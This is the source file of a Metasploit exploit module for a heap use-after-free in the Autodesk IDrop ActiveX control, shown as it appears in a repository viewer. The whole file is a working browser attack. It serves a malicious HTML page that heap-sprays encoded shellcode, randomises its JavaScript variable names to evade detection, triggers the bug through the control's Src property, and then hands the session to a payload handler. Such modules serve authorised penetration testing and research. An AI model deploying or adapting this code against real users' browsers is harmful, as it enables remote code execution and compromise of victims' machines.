root / modules / exploits / windows / browser / autodesk_idrop.rb @ master
History | View | Annotate | Download (4.2 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = NormalRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption', |
| 22 |
'Description' => %q{ |
| 23 |
This module exploits a heap-based memory corruption vulnerability in |
| 24 |
Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160. |
| 25 |
An attacker can execute arbitrary code by triggering a heap use after |
| 26 |
free condition using the Src, Background, PackageXml properties. |
| 27 |
},
|
| 28 |
'License' => MSF_LICENSE, |
| 29 |
'Author' =>
|
| 30 |
[ |
| 31 |
'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References] |
| 32 |
'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation |
| 33 |
], |
| 34 |
'Version' => '$Revision$', |
| 35 |
'References' =>
|
| 36 |
[ |
| 37 |
[ 'OSVDB', '53265' ], |
| 38 |
[ 'BID', '34352' ], |
| 39 |
[ 'URL', 'http://www.milw0rm.com/exploits/8560' ], |
| 40 |
[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ], |
| 41 |
], |
| 42 |
'DefaultOptions' =>
|
| 43 |
{
|
| 44 |
'EXITFUNC' => 'process', |
| 45 |
}, |
| 46 |
'Payload' =>
|
| 47 |
{
|
| 48 |
'Space' => 1024, |
| 49 |
'BadChars' => "\x00\x09\x0a\x0d'\\", |
| 50 |
'StackAdjustment' => -3500, |
| 51 |
}, |
| 52 |
'Platform' => 'win', |
| 53 |
'Targets' =>
|
| 54 |
[ |
| 55 |
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ] |
| 56 |
], |
| 57 |
'DisclosureDate' => 'Apr 2 2009', |
| 58 |
'DefaultTarget' => 0)) |
| 59 |
end
|
| 60 |
|
| 61 |
def autofilter |
| 62 |
false
|
| 63 |
end
|
| 64 |
|
| 65 |
def check_dependencies |
| 66 |
use_zlib |
| 67 |
end
|
| 68 |
|
| 69 |
def on_request_uri(cli, request) |
| 70 |
# Re-generate the payload
|
| 71 |
return if ((p = regenerate_payload(cli)) == nil) |
| 72 |
|
| 73 |
# Encode the shellcode
|
| 74 |
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) |
| 75 |
|
| 76 |
# Setup exploit buffers
|
| 77 |
nops = Rex::Text.to_unescape([target.ret].pack('V')) |
| 78 |
blocksize = 0x40000
|
| 79 |
fillto = 550
|
| 80 |
offset = target['Offset']
|
| 81 |
|
| 82 |
# Randomize the javascript variable names
|
| 83 |
idrop = rand_text_alpha(rand(100) + 1) |
| 84 |
j_function = rand_text_alpha(rand(100) + 1) |
| 85 |
j_shellcode = rand_text_alpha(rand(100) + 1) |
| 86 |
j_nops = rand_text_alpha(rand(100) + 1) |
| 87 |
j_headersize = rand_text_alpha(rand(100) + 1) |
| 88 |
j_slackspace = rand_text_alpha(rand(100) + 1) |
| 89 |
j_fillblock = rand_text_alpha(rand(100) + 1) |
| 90 |
j_block = rand_text_alpha(rand(100) + 1) |
| 91 |
j_memory = rand_text_alpha(rand(100) + 1) |
| 92 |
j_counter = rand_text_alpha(rand(30) + 2) |
| 93 |
j_ret = rand_text_alpha(rand(100) + 1) |
| 94 |
j_mem = rand_text_alpha(rand(100) + 1) |
| 95 |
|
| 96 |
# Build out the message
|
| 97 |
content = %Q|
|
| 98 |
<html> |
| 99 |
<head> |
| 100 |
<script language='javascript' defer> |
| 101 |
function #{j_function}() { |
| 102 |
#{j_shellcode}=unescape('#{shellcode}'); |
| 103 |
#{j_nops}=unescape('#{nops}'); |
| 104 |
#{j_headersize}=20; |
| 105 |
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length; |
| 106 |
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops}; |
| 107 |
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace}); |
| 108 |
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace}); |
| 109 |
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock}; |
| 110 |
#{j_memory}=new Array(); |
| 111 |
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode}; |
| 112 |
|
| 113 |
var #{j_ret} = ''; |
| 114 |
for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) { |
| 115 |
#{j_ret} += unescape('%u0a0a'); |
| 116 |
} |
| 117 |
for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) { |
| 118 |
try {
|
| 119 |
var #{j_mem} = #{idrop}.Src; |
| 120 |
#{idrop}.Src = 'http://' + #{j_ret}; |
| 121 |
#{idrop}.Src = #{j_mem}; |
| 122 |
#{idrop}.Src = 'http://' + #{j_ret}; |
| 123 |
} catch(e){}
|
| 124 |
|
| 125 |
} |
| 126 |
} |
| 127 |
</script> |
| 128 |
</head> |
| 129 |
<body onload='return #{j_function}();'> |
| 130 |
<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object> |
| 131 |
</body> |
| 132 |
</html> |
| 133 |
|
|
| 134 |
|
| 135 |
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
| 136 |
|
| 137 |
# Transmit the response to the client
|
| 138 |
send_response_html(cli, content) |
| 139 |
|
| 140 |
# Handle the payload
|
| 141 |
handler(cli) |
| 142 |
end
|
| 143 |
|
| 144 |
end
|